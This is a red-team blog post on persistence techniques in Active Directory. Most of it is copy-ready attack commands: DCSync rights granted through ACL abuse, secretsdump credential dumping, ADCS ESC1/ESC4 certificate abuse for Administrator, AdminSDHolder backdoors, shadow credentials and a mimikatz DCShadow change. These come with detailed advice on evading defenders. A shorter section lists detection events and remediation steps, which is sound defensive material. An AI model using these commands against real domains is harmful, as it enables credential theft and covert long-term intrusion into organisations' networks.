Active Directory Persistence Attack: Beyond Golden Tickets

Tags: Active Directory · Red Teaming · Persistence

Blog released: 2024 Sun 15 Dec.

Golden tickets are old news, and this mfs still alive since 2014.

Every competent blue team is hunting for them, monitoring for suspicious TGTs, and you know what? They're finding them. If your persistence strategy in 2024 is still "dump KRBTGT hash and call it a day", you're going to lose access the moment someone rotates credentials or the client brings in incident response.

Hopefully from here it can covers persistence techniques that actually survive in mature Active Directory environments, the kind with proper monitoring and regular security audits.

These are methods I've used on long-term Adversarial Teams engagements where maintaining access for months is the objective.

Why Golden Tickets Fail

Let's be real about why golden tickets are increasingly useless:

Kerberos Ticket-Granting-Ticket or TGT rotation that's being implemented by enterprises to now rotate this twice a year.
Anomaly detection on unusual TGT lifetimes and encryption types stick out.
Privileged account monitoring to fake Domain Admin ticket triggers alerts.
Honey accounts that's F.K.A being "disabled" admin account? It's a trap!

You need persistence that blends in with legitimate activity and survives credential changes.

DCSync Persistence via ACL Abuse

Instead of dumping credentials once, grant yourself DCSync rights permanently.

The beauty? It looks like a legitimate delegation, DELEGATIONED bozo.

The Attack

Add DCSync rights to a controlled user or computer account:

Add-DomainObjectAcl -TargetIdentity "DC=kings,DC=local" -PrincipalIdentity "r.ricardo" -Rights DCSync -Verbose

Now that user can DCSync anytime, even after password changes:

secretsdump.py r.ricardo:Passw0rd1@DC01.kings.local -just-dc-user

Why This Works

Survives password resets on the compromised account (Pwnd!).
Survives Kerberos Ticket-Granting-Ticket F.K.A TGT rotation.
Survives domain admin account changes.
ACL changes aren't monitored in most environments.
Looks like legitimate delegation to Admins.

Staying Hidden

Don't grant DCSync to obvious accounts. Instead:

Find a service account that already has elevated privileges.
Or create a computer account.
Make sure the account name blends in with existing naming conventions.
Space out your DCSync operations, I know it sounds funky but don't dump everything (NTLM, Kerberos TGT, and more) at once.

New-MachineAccount -MachineAccount "BACKUP-SRV01" -Password $(ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force)

Add-DomainObjectAcl -TargetIdentity "DC=kings,DC=local" -PrincipalIdentity "BACKUP-SRV01$" -Rights DCSync

ADCS Exploitation for Long-Term Access

Active Directory Certificate Services F.K.A the ADCS is a gold mine for persistence. A system of Certificate-based authentication survives password changes and provides legitimate-looking access.

ESC1: Misconfigured Certificate Templates

Find templates that allow Subject Alternative Name (SAN) specification:

.\Certify.exe find /vulnerable

If you find a vulnerable template, request a certificate for a privileged user:

.\Certify.exe request /ca:DC01.kings.local\CORP-DC-CA /template:VulnerableTemplate /altname:Administrator

Convert and use the certificate:

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Then:

.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:password /ptt

Why This Is Considered "Usable"

Certificates remain valid for years by default.
Works even after password changes.
Certificate-based authentication such as ADCS is considered legitimate.
Most orgs don't monitor certificate issuance properly.
Can be used across the entire domain.

ESC4: Vulnerable Template ACLs

Even better by find a template where you can modify the template itself:

Get-DomainObjectAcl -Identity "VulnerableTemplate" | ? {$_.ActiveDirectoryRights -match "WriteProperty"}

Set-DomainObject -Identity "VulnerableTemplate" -Set @{'msPKI-Certificate-Name-Flag'=1}

.\Certify.exe request /ca:DC01.kings.local\CORP-DC-CA /template:VulnerableTemplate /altname:Administrator

AdminSDHolder Abuse

AdminSDHolder, on of special container in Active Directory (AD) that acts as a security template for highly privileged accounts and groups, the template that protects privileged groups. Modify it, and your backdoor gets automatically replicated to all protected accounts every 60 minutes for as long or more.

Implementation

Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=kings,DC=local" -PrincipalIdentity "t.thor" -Rights All -Verbose

Invoke-SDPropagator -timeoutMinutes 1

Now backdoor-user F.K.A T.Thor has full control over all protected groups

Why Blue Teams Miss This

AdminSDHolder changes are rarely monitored.
The permission propagation happens automatically.
By the time it's discovered, you're in dozens of objects.
Cleanup requires checking every protected object.

Shadow Credentials Attack

One of Favs, really favorite attack for 2024. Add a certificate to a computer or user object's with some kits: msDS-KeyCredentialLink attribute, allowing certificate-based authentication.

The Attack

.\Whisker.exe add /target:DC01$ /kings:kings.local /dc:DC01.kings.local

Authenticate using the certificate

.\Rubeus.exe asktgt /user:DC01$ /certificate:cert.pfx /password:password /nowrap

Advanced: Self-Shadow Credentials

Add a shadow credential to your own compromised account with PyWhisker and Impacket:

python3 pywhisker.py -d kings.local -u r.ricardo -p 'Passw0rd1' --target r.ricardo --action add

Then authenticate:

python3 gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass 'Passw0rd1' kings.local/r.ricardo dc01.kings.local

Why This Is Stealth

The msDS-KeyCredentialLink attribute is almost never monitored.
Not necessary having need to change passwords.
Survives and works with computer accounts.
Certificate authentication is trusted "Trust Attack!"
Survives dangerous password resets.

DCShadow for Sneaky Persistence

.\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
mimikatz # lsadump::dcshadow /object:t.thor /attribute:primaryGroupID /value:512

.\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/
  
  mimikatz # lsadump::dcshadow /push

The change replicates through normal Active Direcotry replication, making it nearly impossible to trace back to you.

Practical Persistence Strategies

Don't rely on a single method. Layer your persistence:

Initial Access Phase:

Compromise a service account with SPN.
Add shadow credentials to multiple service accounts.
Create a computer account for DCSync rights.

Consolidation Phase:

Grant DCSync rights to controlled computer account.
Request long-lived certificates via ADCS.
Modify AdminSDHolder if possible.
Add ACLs to critical OUs.

Operational Security:

DON'T:
- Grant DCSync to user accounts that login interactively
- Request certificates for Administrator every week
- Make all your changes in one day
- Use tools directly on domain controllers

DO:
- Space out persistence mechanisms over "separate times"
- Use computer accounts when possible
- Blend in with existing delegation patterns
- Test your persistence regularly but sparingly
- Have multiple independent persistence methods

Detection and Blue Team Perspective

Understanding how to detect these attacks makes you better at avoiding detection:

What Blue Teams Should Monitor

- Event ID 4662: Sensitive AD object access
- Event ID 4768: Kerberos TGT requests with certificates
- Changes to AdminSDHolder object
- Certificate enrollment events (Event ID 4886-4888)
- Modifications to msDS-KeyCredentialLink attribute
- Unusual DCSync operations (replication from non-DC IPs)
- ACL changes on domain root and critical OUs

Defensive Recommendations

Enable Active Directory object auditing on sensitive containers.
Monitor certificate templates for misconfigurations.
Review AdminSDHolder ACLs monthly.
Implement certificate transparency for internal CA F.K.A Certificate-Authority.
Alert on shadow credential additions.
Regular ACL audits on domain root and AdminSDHolder.

Demo: Multi-Layered Persistence

Here's how this looks in practice on a real engagement:

The video by SANS Institute shows:

Attack Surface Scenario
The vector defenses and attention from IR and Forensics methodology (which helping us adversaries to fetch the un-looked)

Cleanup and Remediation

For the Red Teams, always document your persistence mechanisms.

And the blue-ish responding to an incident:

Finding Persistence Artifacts

Get-DomainObjectAcl -Identity "DC=kings,DC=local" | ? {$_.SecurityIdentifier -match "S-1-5-21-.*"}

Get-DomainObject -LDAPFilter '(msDS-KeyCredentialLink=*)' | Select samaccountname

Get-DomainObjectAcl -Identity "CN=AdminSDHolder,CN=System,DC=kings,DC=local"

.\Certify.exe find /vulnerable

Get-DomainObjectAcl -SearchBase "DC=kings,DC=local" -ResolveGUIDs | ? {$_.ObjectAceType -match "Replicating"}

Complete Remediation Checklist

Review and remove suspicious ACLs on domain root.
Clean AdminSDHolder and force SDProp.
Remove shadow credentials from all objects.
Review and fix certificate template configurations.
Revoke suspicious certificates.
Reset Kerberos Ticket-Granting-Ticket signing key Twice.
Change passwords for all privileged accounts.
Review computer account creation logs.
Audit all service account permissions.

Operational Tips

From years of Red-teaming and Adversary emulation:

Test your persistence with try regularly verify your access methods still work.
Use burner accounts, by this it don't persist using the initial compromise account.
Documentation everything folks, sometimes forget what you did in month 3 then comes-back found dangeous tingy but did't have the presistance could be waste.
Space out actions with example of Making 10 ACL changes in one minute looks suspicious.
Understand the environment for pattern recognitions.

Conclusion

Persistence in modern Active Directory isn't about one-off attacks like golden tickets. It's about understanding the trust model, finding legitimate-looking delegation methods, and layering multiple techniques that survive common remediation efforts.

The techniques that work best are the ones that:

A Golden Ticket attack unfolds in a series of steps that let an attacker gain and maintain total control of an Active Directory environment.

Survive credential rotation.
Look like legitimate delegation.
Aren't commonly monitored.
Can be used sparingly to avoid detection.
Provide multiple independent access paths.

Golden tickets had their time. These methods are what actually works when you're up against competent defenders.

Software and Resources

Shout Outs

Major props to the Engineers making this possible:

Go Top

AdverXarial

byt3n33dl3

Active Directory Persistence Attack: Beyond Golden Tickets

Why Golden Tickets Fail

DCSync Persistence via ACL Abuse

The Attack

Why This Works

Staying Hidden

ADCS Exploitation for Long-Term Access

ESC1: Misconfigured Certificate Templates

Why This Is Considered "Usable"

ESC4: Vulnerable Template ACLs

AdminSDHolder Abuse

Implementation

Why Blue Teams Miss This

Shadow Credentials Attack

The Attack

Advanced: Self-Shadow Credentials

Why This Is Stealth

DCShadow for Sneaky Persistence

Practical Persistence Strategies

Initial Access Phase:

Consolidation Phase:

Operational Security:

Detection and Blue Team Perspective

What Blue Teams Should Monitor

Defensive Recommendations

Demo: Multi-Layered Persistence

Cleanup and Remediation

Finding Persistence Artifacts

Complete Remediation Checklist

Operational Tips

Conclusion

Software and Resources

Shout Outs